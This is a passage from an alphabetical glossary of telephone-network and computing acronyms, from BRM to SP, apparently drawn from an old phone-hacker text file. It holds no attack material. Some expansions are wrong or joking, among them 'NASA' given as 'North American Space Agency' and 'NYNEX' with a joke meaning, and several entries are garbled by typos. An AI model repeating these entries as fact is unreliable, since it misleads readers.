Interface +BRM Basic Remote Module +BS Banded Signaling +BS Bell South +BSA Basic Serving Arrangements +BSBH Busy Season Busy Hour +BSC Business Service Center +BSCM BiSynchronous Communications Module +BSE Basic Service Elements +BSF Bell Shock Force +BSOC Bell Systems Operating Company +BSP Bell System Practice +BSRFS Bell System Reference Frequency Standard +BST Basic Services Terminal +BSTJ Bell System Technical Journal +BT Bus Terminator +BTAM Basic Telecommunications Access Message +BTL Bell Telephone Laboratories +BTN Billing Telephone Number +BTU British Thermal Unit +BVA Billing Validation Application +BVC Billing Validation Center +BWM Broadcast Warning Message +BWT Broadcast Warning TWX +BWTS BandWidth Test Set +CA CAble +CABS Carrier Access Billing System +CAC Calling-card Authorization Center +CAC Carrier Access Code +CAC Circuit Administration Center +CAC Customer Administration Center +CAD Computer Aided Dispatch +CAD/CAM Computer Aided Design/Computer Aided Manufacturing +CADV Combined Alternate Data/Voice +CAI Call Assembly Index +CAIS Colocated Automatic Intercept System +CALRS Centralized Automatic Loop Reporting System +CAMA Centralized Automatic Message Accounting +CAROT Centralized Automatic Reporting On Trunks +CAS Circuit Associated Signaling +CAS Centralized Attendant Service +CAS Computerized Autodial System +CAT Craft Access Terminal +CATLAS Centralized Automatic Trouble Locating and Analysis System +CBS CrossBar Switching +CBX Computerized Branch eXchange +CC Calling Card +CC Central Control +CC Common Control +CC Country Code +CC Credit Card +CCC Central Control Complex +CCC Computer Control Center +CCF Credit/Calling Card Fraud +CCH Connections per Circuit per Hour +CCi CyberCrime International Network +CCIR Comite' Consultatif International des Radio Communications +CCIS Common Channel Interoffice Signaling +CCITT Consultative Committee on International Telephone and Telegraph +CCNC Common Channel Network Controller +CCNC Computer/Communications Network Center +CCR Customer-Controlled Reconfiguration +CCS Common Channel Signaling +CCS Hundred (C) Call Seconds +CCSA Common-Control Switching Arrangement +CCT Central Control Terminal +CCTAC Computer Communications Trouble Analysis Center +CCTV Closed Circuit Television +CCU COLT Computer Unit +CCV Calling Card Validation +CDA Call Data Accumulator +CDA Coin Detection and Announcement +CDAR Customer Dialed Account Recording +CDCF Cumulative Discounted Cash Flow +CDF Combined Distributing Frame +CDI Circle Digit Identification +CDO Community Dial Office +CDPR Customer Dial Pulse Receiver +CDR Call Dial Rerouting +CDS Craft Dispatch System +CEF Cable Entrance Facility +CEI Comparably Efficient Interconnection +CELP Code Excited Linear Prediction +CEPT Conference European on Post and Telecommunications +CEV Controlled Environment Vault +CF Coin First +CFCA Communications Fraud Control Association +CFR Code of Federal Regulations +CGN Concentrator Group Number +CGSA Cellular Geographic Serving Area +CIC Carrier Identification Code +CICS Customer Information Control System +CID Caller ID +CII Call Identity Index +CIS Customized Intercept Service +CLASS Centralized Local Area Selective Signaling +CLASS Custom Local Area Signaling Service +CLDN Calling Line Directory Number +CLEI Common-Language Equipment Identification +CLI Calling Line Ident +CLID Calling Line IDentification +CLLI Common-Language Location Identification +CMAC Centralized Maintenance and Administration Center +CMC Construction Maintenance Center +CMDF Combined Main Distributing Frame +CMDS Centralized Message Data System +CMS Call Management System +CMS Circuit Maintenance System +CMS Communications Management Subsystem +CMS Conversational Monitoring System +CMT Cellular Mobile Telephone +CMU COLT Measurement Unit +CN Change Notice +CN/A Customer Name/Address +CNA Communications Network Application +CNAB Customer Name/Address Bureau +CNCC Customer Network Control Center +CNI Common Network Interface +CNI Calling Number Identification +CNID Caller Name Identification +CNMS Cylink Network Management System +CNS Complimentary Network Service +CO Central Office +COAM Customer Owned And Maintained +COC Circuit Order Control +COCOT Customer-Owned Coin-Operated Telephone +CODCF Central Office Data Connecting Facility +CODEC COder-DECoder +COE Central Office Equipment +COEES COE Engineering System +COLT Central Office Line Tester +COMSAT COMmunications SATellite +CONN CONNector +CONTAC Central Office NeTwork ACcess +CONUS CONtinental United States +CORNET CORperate NETwork +COSMIC COmmon Systems Main InterConnection frame system +COSMOS COmputerized System for Mainframe OperationS +COT Central Office Terminal +CP Control Program +CPC Cellular Phone Company +CPC Circuit Provisioning Center +CPD Central Pulse Distributor +CPE Customer Premises Equipment +CPH Cost Per Hour +CPI Computer Private branch exchange Interface +CPM Cost Per Minute +CPMP Carrier Performance Measurement Plan +CPU Central Processing Unit +CRAS Cable Repair Administrative System +CRC Customer Record Center +CRC Cyclic Redundancy Check +CREG Concentrated Range Extension with Gain +CRFMP Cable Repair Force Management Plan +CRIS Customer Record Information System +CRS Centralized Results System +CRSAB Centralized Repair Service Answering Bureau +CRSO Cellular Radio Switching Office +CRT Cathode Ray Tube +CSA Carrier Serving Area +CSACC Customer Service Administration Control Center +CSAR Centralized System for Analysis Reporting +CSC Cell Site Controller +CSDC Circuit Switched Digital Capability +CSM/CD Carrier Sense Multiple Access with Collision Detection +CSNET Computer Science NETwork +CSO Central Services Organization +CSS Computer Sub-System +CSU Channel Service Unit +CTC Central Test Center +CTM Contac Trunk Module +CTMS Carrier Transmission Measuring System +CTO Call Transfer Outside +CTSS Cray Time Sharing System +CTT Cartridge Tape Transport +CTTC Cartridge Tape Transport Controller +CTTN Cable Trunk Ticket Number +CU Control Unit +CU Customer Unit +CUG Closed User Group +CU/TK Common Update/EQuipment system +CUCRIT Capital Utilization CRITeria +CVR Compass Voice Response +CWC City-Wide Centrex +D/A Digital to Analog +DA Directory Assistance +DACS Digital Access Cross-connect System +DACS Directory Assistance Charging System +DAIS Distributed Automatic Intercept System +DAMA Demand Assigned Multiple Access +DARC Division Alarm Recording Center +DARU Distributed automatic intercept system Audio Response Unit +DAS Directory Assistance System +DAS Distributor And Scanner +DAS-WDT Distributor And Scanner-Watch Dog Timer +DASD Direct Access Storage Device +DAV Data Above Voice +DB Decibel +DBA Data Base Administrator +DBAC Data Base Administration Center +DBAS Data Base Administration System +DBM DataBase Manager +DBS Duplex Bus Selector +DCCH Digital Control Channel +DCCS DisContiguous Shared Segments +DCE Data Circuit-terminating Equipment +DCH D Channel Handler +DCL DEC Control Language +DCLU Digital Carrier Line Uint +DCM Digital Carrier Module +DCMS Distributed Call Measurement System +DCMU Digital Concentrator Measurement Unit +DCP Duplex Central Processor +DCPR Detailed Contuing Property Record (PICS/DCPR) +DCPSK Differential Coherent Phase-Shift Keying +DCS Digital Crosconnect System +DCT Digital Carrier Trunk +DCTN Defense Commercial Telecommunications Network +DCTS Dimension Custom Telephone Service +DDC Direct Department Calling +DDD Direct Distance Dialing +DDN Defense Data Network +DDS Digital Data Service +DDS Digital Data System +DDS Digital Dataphone Service +DDX Distributed Data eXchange +DEC Digital Equipment Corporation +DERP Defective Equipment Replacement Program +DES Data Encryption Standard +DEW Distant Early Warning (line) +DFI Digital Facility Interface +DFMS Digital Facility Management System +DIC Digital Interface Controller +DID Direct Inward Dialing +DIF Digital Interface Frame +DIM Data In the Middle +DIP Dual In-line Package +DISA Direct Inward System Access +DIU Digital Interface Unit +DLC Digital Loop Carrier +DLCU Digital Line Carrier Unit +DLL Dial Long Lines +DLS Digital Link Service +DLTU Digital Line/Trunk Unit +DLU-PG Digital Line Unit-Pair Gain +DM Delta Modulation +DMA Direct Memory Access +DMI Digital Multiplexed Interface +DML Data Manipulation Logic +DMS Data Management System +DMS Digital Multiplexed System +DMU Data Manipulation Unit +DN Directory Number +DNC Dynamic Network Controller +DNHR Dynamic Non Hierarchical Routing +DNIC Data Network Identification Code +DNIS Dialed Number Identification Service +DNR Dialed Number Recorder +DNS Domain Name Server +DNX Dynamic Network X-connect +DOC Dynamic Overload Control +DOCS Display Operator Console System +DOJ Department Of Justice +DOM Data On Master group +DOS Denial Of Service +DOS Disk Operating System +DOTS Digital Office Timing Supply +DOV Data Over Voice +DP Demarcation Point +DP Dial Pulse +DP Digital Phone +DPAC Dedicated Plant Assignment Center +DPC Destination Point Code +DPE Data Path Extender +DPN-PH Data Packet Network-Packet Handler +DPP Discounted Payback Period +DPSK Differential Phased-Shift Keying +DQDB Distributed Queue Dual Bus +DR Data Ready +DR Data Receive +DRMU Digital Remote Measurement Unit +DS Digital carrier Span +DS Digital Signal +DS Direct Signal +DSBAM Double-SideBand Amplitude Module +DSDC Direct Service Dial Capability +DSI Digital Speech Interpolation +DSN Digital Signal (level) N +DSP Digital Signal Processor +DSR Dynamic Service Register +DSS Data Station Selector +DSU Data Service Unit +DSX Digital System X-connect +DT Data Transmit +DT Di-group Terminal +DTAS Digital Test Access System +DTC Di-group Terminal Controller +DTC Digital Traffic Channel +DTC Digital Trunk Controller +DTE Data Terminal Equipment +DTF Dial Tone First +DTG Direct Trunk Group +DTIF Digital Transmission Interface Frame +DTMF Dual Tone Multi Frequency +DTU Di-group Terminal Unit +DUV Data Under Voice +DVX Digital Voice eXchange +E&M rEceive & transMit/Ear & Mouth signaling +E-BCCH Extended Broadcast Channel +E-COM Electronic Computer Originated Mail +E911 Enhanced 911 +EADAS Engineering and Administrative Data Acquisition System +EADAS/NM EADAS/Network Management +EAEO Equal Access End Office +EARN European Academic Research Network +EAS Extended Announcement System +EAS Extended Area Service +EASD Equal Access Service Date +EBCDIC Extended Binary Coded Decimal Interexchange Code +ECAP Electronic Customer Access Program +ECC Enter Cable Change +ECCS Economic C (hundred) Call Seconds +ECF Enhanced Connectivity Facility +ECPT Electronic Coin Public Telephone +ECS Electronic Crosconnect System +EDAC Electromechanical Digital Adapter Circuit +EDI Electronic Data Interchange +EDP Electronic Data Processing +EDSX Electronic Digital Signal X-connect +EECT End-to-End Call Trace +EEDP Expanded Electronic tandem switching Dialing Plan +EEHO Either End Hop Off +EEI Equipment-to-Equipment Interface +EFRAP Electronic Feeder Route Analysis Program +EFS Error Free Seconds +EIA Electronics Industries Assotiation +EIRP Effective Isotropic Radiated Power +EIS Expanded Inband Signaling +EISS Economic Impact Study System +EKTS Electronic Key Telephone Sets +EMF Electromagnetic Frequency +EMI Electromagnetic Interference +EML Expected Measured Loss +EMS Expanded Memory Specification +ENFIA Exchange Network Facility for Interstate Access +EO End Office +EOE Electronic Order Exchange +EOS Extended Operating System +EOTT End Office Toll Trunking +EPL Electronic switching system Program Language +EPROM Erasable Programmable Read-Only Memory +EPSCS Enhanced Private Switched Communication Service +ER Error Register +ERAR Error Return Address Register +EREP Environmental Recording Editing and Printing +ERL Echo Return Loss +ERP Effective Radiated Power +ERU Error Return address Update +ESAC Electronic Surveillance Assistance Center +ESB Emergency Service Bureau +ESF Extended SuperFrame +ESL Emergency Stand-Alone +ESN Electronic Serial Number +ESN Electronic Switched Network +ESP Enhanced Service Provider +ESS Electronic Switching System +EESS Enhanced Electronic Switching System +ESSX Electronic Switching Systen eXchange +ETAS Emergency Technical ASsistance +ETF Electronic Toll Fraud +ETN Electronic Tandem Network +ETS Electronic Tandem Switching +ETS Electronic Translation System +ETSACI Electronic Tandem Switching Adminstration Channel Interface +ETSSP ETS Status Panel +EXT EXTension +F-BCCH Fast Broadcast Channel +FA Fuse Alarm +FACS Facilities Assignment and Control System +FAR Federal Acquisition Regulation +FAST First Application System Test +FAT File Allocation Table +FAQ Frequently Asked Questions +FCAP Facility CAPacity +FCC Federal Communications Commission +FCC Forward Command Channel +FCG False Cross or Ground +FCS File Control Systemction +FCS Frame Check Sequence +FDCCH Forward DCCH +FDDI Fiber Distributed Data Interface +FDM Frequency Division Multiplexing +FDMA Frequency Division Multiple Access +FDP Field Development Program +FDX Full DupleX +FEC Forward Error Correction +FED Far End Data +FEMF Foreign Electro-Motive Force +FEPS Facility and Equipment Planning System +FEV Far End Voice +FGA Feature Group A +FGB Feature Group B +FGC Feature Group C +FGD Feature Group D +FIFO First In, First Out +FIOC Frame Input/Output Controller +FIP Facility Interface Processor +FIPS Federal Information Processing Standards +FM Frequency Modulation +FMAC Facility Maintenance And Control +FNPA Foreign Numbering Plan Area +FOC Fiber Optic Communications +FON Fiber Optics Network +FR Flat Rate +FREQ Frequency +FREQ File Request +FRS Flexible Route Selection +FSK Frequency Shift Keying +FTG Final Trunk Group +FTP File Transfer Protocol +FTS Federal Telecommunications System +FUBAR Fucked Up Beyond All Recognition +FX Foreign eXchange +GB GigaByte +GBS Group Bridging Service +GCS Group Control System +GEISCO General Electric Information Services COmpany +GHZ GigaHertZ +GID Group ID +GND GrouND +GODS Global Outdials +GOS Grade Of Service +GP Group Processor +GPIB General Purpose Interface Bus +GRD GRounD +GRP MOD GRouP MODulator +GSA General Services Administration +GSAT General telephone and electronics SATellite corporation +GSZ Graphical Zmodem +GTC General Telephone Company +GTE General Telephone Electronics +GTT Global Title Transmission +HCS Hierarchical Cell Structure +HCSDS High-Capacity Satellite Digital Service +HCTDS High-Capacity Terrestrial Digital Service +HD Hard Drive +HDLC High-level Data Link Control +HDTV High Definition TV +HDX Half DupleX +HEAP Home Energy Assistance Program +HEHO High End Hop Off +HIC Hybrid Integrated Circuit +HNPA Home Numbering Plan Area +HNS Hospitality Network Service +HOBIC HOtel Billing Information Center +HOBIS HOtel Billing Information System +HP Hewlett-Packard +HPO High Performance Option +HSSDS High-Speed Switched Digital Service +HTML Hyper Text Markup Language +HU High Usage +HUTG High Usage Trunk Group +HZ HertZ +I&M Installation & Maintenance +I/O Input/Output +IB Instruction Buffer +IBM International Business Machines +IBN Integrated Business Network +IC Independent Carrier +IC Integrated Circuit +IC Inter-exchange Carrier +IC Inter-LATA Carrier +ICAN Individual Circuit ANalysis +ICC Interstate Commerce Commission +ICD Interactive Call Distribution +ICLID Individual Calling Line ID +ICM Integrated Call Management +ICSC Inter-LATA Customer Service Center +IDDD International Direct Distance Dialing +IDE Integrated Drive Electronics +IEC (IXC) Interexchange Carrier +IDF Intermediate Distributing Frame +IDS Internal Directory System +IDVC Integrated Data/Voice Channel +IEEE Institute of Electrical and Electronics Engineers +IF Intermediate Frequency +IFRPS Intercity Facility Relief Planning System +IIN Integrated Information Network +IM Interface Module +IMAS Integrated Mass Announcement System +IMM Input Message Manual +IMT Inter-Machine Trunk +IMTS Improved Mobile Telephone Service +IN Intelligent Network +INC InterNational Carrier +INL Inter Node Link +INMARSAT International Maritime Satellite Service +INN Inter Node Network +INT Interrupt +INTELSAT INternational TELecommunications SATellite consortium +INWATS INward Wide Area Telephone Service +IO Inward Operator +IOC Input/Output Controller +IOCC International Overseas Completion Center +IOP Input-Output Processor +IOT Inter-Office Trunk +IP Information Provider +IP Internet Protocol +IP Internet Provider +IPCS Interactive Problem Control System +IPL Initial Program Load +IPLAN Integrated PLanning And Analysis +IPM Impulses Per Minute +IPM Interruptions Per Minute +IPX Integrated Packet eXchange +IRC International Record Carrier +IROR Internal Rate Of Return +IS Interrupt Set +ISC International Switching Center +ISDN Integrated Service Digital Network +ISLM Integrated Services Line Module +ISLU Integrated Services Line Unit +ISN Information Systems Network +ISN Integrated Systems Network +ISO International Organization for Standardization +ISP Internet Service Provider +ISS Integrated Switching System +ISSN Integrated Special Services Network +ISUP Integrated Services User Part +ITS Institute of Telecommunication Science +ITSO Incoming Trunk Service Observation +ITU International Telecommunications Union +IVP Installation Verification Program +IVR Interactive Voice Response +IVTS International Video Teleconferencing Service +IX Interactive eXecutive +IXM IntereXchange Mileage +JCL Job Control Language +JES Job Entry System +JIM Job Information Memorandum +JMX Jumbogroup MultipleX +JSN Junction Switch Number +JSW Junctor SWitch +K Kilobit +KB Keyboard +KBPS KiloBits Per Second +KDT Keyboard Display Terminal +KFT KiloFeeT +KHZ KiloHertZ +KP Key Pulse +KSR Keyboard Send-Receive +KTS Key Telephone Set +KTS Key Telephone System +LAC Loop Assignment Center +LADT Local Access Data Transport +LAIS Local Automatic Intercept System +LAM Leave A Message +LAMA Local Automatic Message Accounting +LAN Local Area Network +LAP Link Access Protocol +LAPD Link Access Procedure on the D channel +LAPD Los Angeles Police Department +LASS Local Area Signaling Service +LATA Local Access and Transport Area +LATIS Loop Activity Tracking Information System +LBO Line Buildout +LBS Load Balance System +LCAMOS Loop CAble Maintenance Operation System +LCBO Liquor Control Board of Ontario +LCCIS Local Common Channel Interoffice Signaling +LCCL Line Card CabLe +LCCLN Line Card Cable Narrative +LCDN Last Called Directory Number +LCIE Lightguide Cable Interconnection Equipment +LCLOC Line Card LOCation +LCN Logical Channel Numbers +LCR Least Cost Routing +LCRMKR Line Card ReMarKs, Retained +LCSE Line Card Service and Equipment +LCSEN Line Card Service and Equipment Narrative +LD Long Distance +LDMTS Long Distance Message Telecommunications Service +LEAS LATA Equal Access System +LEC Local Exchange Carrier +LED Light-Emitting Diode +LENCL Line Equipment Number CLass +LF Line Finder +LFACS Loop Facilties Assignment And Control System +LIFO Last In, First Out +LLC Logical Link Control +LLN Line Link Network +LMMS Local Message Metering System +LMOS Loop Maintenace Operations System +LMX L Multiplex +LOC Local Operating Company +LOCAP LOw CAPacitance +LOF Lock OFf-line +LON Lock ON-line +LPCDF Low Profile Combined Distributing Frame +LRAP Long Route Analysis Program +LRC Longitudal Redundancy Check +LRS Line Repeater Station +LRSS Long Range Switching Studies +LSB Lower Side Band +LSI Large-Scale Integrated circuitry +LSRP Local Switching Replacement Planning system +LSS Loop Switching System +LSV Line Status Verifier +LTAB Line Test Access Bus +LTC Local Test Cabinet +LTD Local Test Desk +LTF Lightwave Terminating Frame +LTF Line Trunk Frame +LTG Line Trunk Group +LTS Loss Test Set +LXE Lightguide eXpress Entry +M/W MicroWave +MA Maintenance Administrator +MACBS Multi-Access Cable Billing System +MADN Multiple Access Directory Numbers +MAN Metropolitan Area Network +MAP Maintenance and Administration Position +MAPSS Maintenance & Analysis Plan for Special Services +MAR Microprogram Address Register +MARC Market Analysis of Revenue and Customers system +MAS MAin Store +MAS Mass Announcement System +MASB MAS Bus +MASC MAS Controller +MASM MAS Memory +MASM Micro$oft Assembler +MATFAP Metropolitan Area Transmission Facility Analysys Program +MB MegaByte +MBPS MegaBits Per Second +MBR Master Boot Record +MCIAS Multi-Channel Intelligent Announcement System +MCC Master Control Center +MCCS Mechanized Calling Card Service +MCH Maintenance CHannel +MCHB Maintenance CHannel Buffer +MCI Microwave Communications Incorporated +MCIAS Multi-Channel Intercept Announcement System +MCN Metropolitan Campus Network +MCS Meeting Communications Service +MCTRAP Mechanized Customer Trouble Report Analysis Plan +MDACS Modular Digital Access Control System +MDC Marker Distributor Control +MDC Meridian Digital Centrex +MDF Main Distribution Frame +MDU Marker Decoder Unit +MDX Modular Digital eXchange +MEC Mobile Equipment Console +MELD Mechanized Engineering and Layout for Distributing frames +MERS Most Economic Route Selection +MET Multibutton Electronic Telephone +MF Multi Frequency +MFENET Magnetic Fusion Energy NETwork +MFJ Modification of Final Judgement +MFR Multi-Frequency Receivers +MFT Metallic Facility Terminal +MG MasterGroup +MGT MasterGroup Translator +MHS Message Handling System +MHZ MegaHertZ +MICE Modular Integrated Communications Environment +MIN Mobile Identification Number +MINX Multimedia Information Network eXchange +MIR Micro-Instruction Register +MIS Management Information System +MISCF MISCellaneous Frame +MITS Microcomputer Interactive Test System +MLC MiniLine Card +MLCD Multi-Line Call Detail +MLN Main Listed Number +MLT Mechanized Loop Testing +MMC Minicomputer Maintenance Center +MMGT MultiMasterGroup Translator +MMOC Minicomputer Maintenance Operations Center +MMS Main Memory Status +MMS Memory Management System +MMX Mastergroup MultipleX +MODEM MOdulator-DEModulator +MOG Minicomputer Operations Group +MOS Metal Oxide Semiconductor +MP Multi-Processor +MPCH Main Parallel CHannel +MPOW Multiple Purpose Operator Workstation +MPPD Multi-Purpose Peripheral Device +MRF Maintenance Reset Function +MS Maintenance State +MS Millisecond +MSC Media Stimulated Calling +MTBF Mean Time Between Failures +MTF Master Test Frame +MTP Message Transfer Part +MTR Mechanized Time Reporting +MTS Message Telecommunications Service +MTS Message Telephone Service +MTS Mobile Telephone Service +MTSO Mobile Telephone Switching Office +MTTR Mean Time to Repair +MTU Maintenance Termination Unit +MTU Media Tech Unit +MTX Mobile Telephone eXchange +MU Message Unit +MUD Master User Directory +MULDEM MULtiplexer-DEMultiplexer +MUX MUltipleX +MVP Multiline Variety Package +MVS Multiple Virtual Storage +MW MultiWink +MWI Message Waiting Indicator +MXU MultipleXer Unit +NA Next Address +NAC Network Administration Center +NAG Network Architecture Group +NAM Number Assignment Module +NAND Not-AND gate +NAS Numerical and Atmospheric Sciences network +NASA North American Space Agency +NAU Network Access Unit +NCC Network Control Center +NCCF Network Communications Control Facility +NCP Network Control Point +NCS National Communications System +NCTE Network Channel-Terminating Equipment +NDCC Network Data Collection Center +NEBS New Equipment-Building System +NESAC National Electronic Switching Assistance Center +NEXT Near-End X-Talk +NHR Non Hierarchial Routing +NI Network Interface +NIC Network Interface Card +NID Network Interface Device +NM Network Module +NMC Network Management Center +NNX Network Numbering eXchange +NOC Network Operations Center +NOCS Network Operations Center System +NORGEN Network Operations Report GENerator +NOTIS Network Operator Trouble Information System +NPA No Power Alarm +NPA Numbering Plan Area +NPV Net Present Value +NS Nanosecond +NSA National Security Agency +NSC Network Service Center +NSCS Network Service Center System +NSEC Network Switching Engineering Center +NSFNET National Science Foundation NETwork +NSPMP Network Switching Performance Measurement Plan +NT1 Network Termination 1 +NT2 Network Termination 2 +NT Network Termination +NT Northern Telecom +NTEC Network Technical Equipment Center +NTIA National Telecommunications and Information Agency +NTN Network Terminal Number +NTS Network Technical Support +NTS Network Test System +NUA Network User Address +NUI Network User Identification +NYNEX New York, New England and the unknown (X) +O-LTM Optical Line Terminating Multiplexer +OAA/P Over-the-Air Activation and Programming +OASYS Office Automation SYStem +OC Operator Centralization +OCC Other Common Carrier +OCE Other Common carrier channel Equipment +OCU Office Channel Unit +ODAC Operations Distribution Administration Center +ODD Operator Distance Dialing +ODDD Operator Direct Distance Dialing +ODS Overhead Data Stream +OFNPS Outstate Facility Network Planning System +OGT OutGoing Trunk +OMM Output Message Manual +OMPF Operation and Maintenance Processor Frame +ONA Open Network Architecture +ONAC Operations Network Administration Center +ONAL Off Network Access Line +ONI Operator Number Identification +OP Outside Plant +OPC Originating Point Codes +OPEOS Outside Plant planning, Engineering & construction Operations System +OPM Outside Plant Module +OPS Off-Premises Station +OPSM Outside Plant Subscriber Module +OPX Off-Premises eXtension +OR Originating Register +ORB Office Repeater Bay +ORM Optical Remote Module +OS Operator Service +OS OutState +OSAC Operator Services Assistance Center +OSC Operator Services Center +OSC OSCillator +OSDS Operating System for Distributed Switching +OSI Open Systems Interconnection +OSO Originating Signaling Office +OSP OutSide Plant +OSPS Operator Service Position System +OSS Operator Service System +OUTWATS OUTward Wide Area Telecommunications Service +OW Over-Write +P/AR Peak-to-Average Ratio +PA Power Alarm +PA Program Address +PABX Private Automatic Branch eXchange +PACE Program for Arrangement of Cables and Equipment +PACT Prefix Access Code Translator +PAD Packet Assembly/Disassembly +PAM Pulse-Ampitude Modulation +PAN Personal Account Number +PANS Pretty Advanced New Stuff +PAS Public Announcement Service +PASP Public Service Answering Point +PAT Power Alarm Test +PAX Private Automatic eXchange +PBC Peripheral Bus Computer +PBC Processor Bus Controller +PBD Pacific Bell Directory +PBS Personal Base Station +PBX Private Branch eXchange +PC Primary Center +PCDA Program Controlled Data Acquisition +PCH Paging Channel +PCH Parallel CHannel +PCM Pulse-Code Modulation +PCO Peg Count and Overflow +PCS Personal Communications Services +PCTV Program Controlled TransVerters +PD Peripheral Decoder +PD Public Domain +PDF Power Distribution Frame +PDI Power and Data Interface +PDN Public Data Network +PDSP Peripheral Data Storage Processor +PE Peripheral Equipment +PECC Product Engineering Control Center +PFPU Processor Frame Power Unit +PH Parity High bit +PIA Plug-In Administrator +PIC Plastic-Insulated Cable +PIC Primary Independent Carrier +PICS Plug-in Inventory Control System (PICS/DCPR) +PIN Personal Identification Number +PIP Packet Interface Port +PL Parity Low bit +PM Peripheral Module +PM Plant Management +PMAC Peripheral Module Access Controller +PMU Precision Measurement Unit +PNB Pacific Northwest Bell +PNPN Positive-Negative-Positive-Negative devices +POB Periphal Order Buffer +POF Programmable Operator Facility +POP Point Of Presence +POTS Plain Old Telephone Service +PP Pay Phone +PP Post Pay +PPD Peripheral Pulse Distributor +PPN Public Packet Switching +PPP Point to Point Terminal +PPS Product Performance Surveys +PPS Public Packet Switching network +PRCA Puerto Rico Communications Authority +PREMIS PREMises Information System +PRI Primary Rate Interface +PROM Programmable Read-Only Memory +PROMATS PROgrammable Magnetic Tape System +PROTEL PRocedure Oriented Type Enforcing Language +PRS Personal Response System +PRTC Puerto Rico Telephone Company +PS Program Store +PSAP Public Safety Answering Point +PSC Prime Service Contractor +PSC Public Safety Calling system +PSC Public Service Commission +PSDC Public Switched Digital Capability +PSE Packet Switch Exchange +PSID Private System Identity +PSIU Packet Switch Interface Unit +PSK Phase-Shift Keying +PSM Packet Service Module +PSM Position Switching Module +PSN Packet Switched Network +PSN Public Switched Network +PSO Pending Service Order +PSPDN Packet Switched Public Data Network +PSS Packet Switch Stream +PSS Packet Switched Services +PSTN Public Switched Telephone Network +PSU Program Storage Unit +PSW Program Status Word +PT Program Timer +PTAT Private Trans Atlantic Telecommunications +PTT Postal Telephone and Telegraph +PTW Primary Translation Word +PUC Peripheral Unit Controller +PUC Public Utilities Commission +PVC Permanent Virtual Circuits +PVN Private Virtual Network +QAM Quadrature-Amplitude Modulation +QAS Quasi-Associated Signaling +QMP Quality Measurement Plan +QRSS Quasi Random Signal Source +QSS Quality Surveillance System +R Ring +R&R Rate & Route +R&SE Research & Systems Engineering +R/O Read/Only +R/W Read Write +R/WM Read/Write Memory +RACH Random Access Channel +RAM Random-Access Memory +RAND Rural Area Network Design +RAO Regional Accounting Office +RAO Revenue Accounting Office +RAR Return Address Register +RASC Residence Account Service Center +RBHC Regional Bell Holding Company +RBOC Regional Bell Operating Company +RBOR Request Basic Output Report +RC Regional Center +RC Resistance-Capacitance +RC MAC Recent Change Memory Administration Center +RCC Radio Common Carrier +RCC Remote Cluster Controller +RCC Reverse Command Channel +RCF Remote Call Forwarding +RCLDN Retrieval of Calling Line Directory Number +RCM Remote Carrier Module +RCMP Royal Canadian Mounted Police +RCSC Remote Spooling Communications Subsystem +RCU Radio Channel Unit +RCVR ReCeiVeR +R&D Research and Development +RD Reverse Database +RDCCH Reverse DCCH +RDES Remote Data Entry System +RDS Radio Digital System +RDT Radio Digital Terminal +REC Regional Engineering Center +REM Remote Equipment Module +REMOBS REMote OBservation System +REN Ring Equivalence Number +REXX REstructred eXtended eXecuter language +RF Radio Frequency +RID Remote Isolation Device +RISLU Remote Integrated Services Line Unit +RLCM Remote Line Concentrating Module +RLT Remote Line Test +RMAS Remote Memory Administration System +RMATS Remote Maintenance and Testing System +RMR Remote Message Registers +RMS Root-Mean-Square +RN Reference Noise +RNOC Regional Network Operations Center +RO Receive Only +ROB Remote Order Buffer +ROC Regional Operating Company +ROH Receiver Off Hook +ROM Read-Only Memory +ROTL Remote Office Test Line +RQS Rate/Quote System +RQSM Regional Quality Service Management +RRO Reports Receiving Office +RSA Repair Service Attendant +RSB Repair Service Bureau +RSC Remote Switching Center +RSC Residence Service Center +RSCS Remote Source Control System +RSCS Remote Spooling Communications Subsystem +RSID Residential System Identity +RSL Received Signal Level +RSLE Remote Subscriber Line Equipment +RSLM Remote Subscriber Line Module +RSM Remote Switching Module +RSS Remote Switching System +RSTS/E Resource System Time Sharing/Enhanced +RSU Remote Switching Unit +RTA Remote Trunking Arrangement +RTL Resistor-Transistor Logic +RTM Regional Telecommunications Management +RTM Remote Test Module +RTS Remote Testing System +RTU Remote Trunking Unit +RTU Right To Use +RUM Remote User Multiplex +RWC Remote Work Center +RX Remote eXchange +S Sleeve +SAC Service Area Code +SAC Service Area Computer +SAC Special Area Code +SAG Street Address Guide +SAI Serving Area Interface +SALI Standalone Automatic Location Identification +SAMA Step by step Automatic Message Accounting +SAR Store Address Register +SARTS Switched Access Remote Test System +SAT Special Access Termination +SAT Supervisory Audio Tone +SBMS Southwestern Bell Mobile Service +SBS Skyline Business Systems +SC Scanner Controller +SC Sectional Center +SCAT Stromberg-Carlson Assistance Team +SCC Satellite Communications Control +SCC Specialized Common Carrier +SCC Switching Control Center +SCCS Specialized Common Carrier Service +SCCS Switching Control Center System +SCF Selective Call Forwarding +SCF Shared Channel Feedback +SCM Subscriber Carrier Module +SCO Serving Central Office +SCOT Stepper Central Office Tester +SCOTS Surveillance & Control Of Transmissions System +SCP Signal Control Point +SCP Signal Conversion Point +SCP System Control Program +SCPC Signal Channel Per Carrier +SCPD Supplementary Central Pulse Distributor +SCSI Small Computer Systems Interface +SCU Selector Control Unit +SCX Specialized Communications eXchange +SD&D Specific Development & Design +SDIS Switched Digital Integrated Service +SDL Specification and Description Language +SDLC Synchronous Data Link Control +SDN Software-Defined Network +SDOC Selective Dynamic Overload Controls +SDP Service Delivery Point +SDR Store Data Register +SDS Switched Data Service +SDS Synchronous Data Set +SDSC Synchronous Data Set Controller +SE Social Engineer +SEAS Signaling Engineering and Administration System +SEL SELector +SES Service Evaluation System +SF Single Frequency +SFMC Satellite Facility Management Center +SG SuperGroup +SGML Standard Generic Markup Language +SGMP Simple Gateway Management Protocol +SI Status Indicator +SIC Silicon Integrated Circuit +SID System IDentification +SIT Special Information Tone +SLC Subscriber Loop Carrier +SLE Screening Line Editor +SLIC Subscriber Line Interface Circuit +SLIM Subscriber Line Interface Module +SM Switching Module +SMAS Supplementary MAin Store +SMAS Switched Maintenance Access System +SMASF SMAS Frame +SMASPU SMAS Power Unit +SMDF Subscriber Main Distributing Frame +SMDI Subscriber Message Desk Interface +SMDR Station Message Detailed Recording +SMDS Switched Multimegabit Data Service +SMG SuperMasterGroup +SMS Service Management System +SMSA Standard Metropolitan Statistical Area +SMSCH Short Message Service Channel +SMTP Simple Mail Transfer Protocol +SNA System Network Architecture +SNADS System Network Architecture Distribution Service +SNET Southern New England Telephone +SOAC Service Order Analysis Control +SOC Service Oversight Center +SOH Service Order History +SONAR Service Order Negotiation And Retrieval +SONDS Small Office Network Data System +SONET Synchronous Optical Network +SP Signal Processor 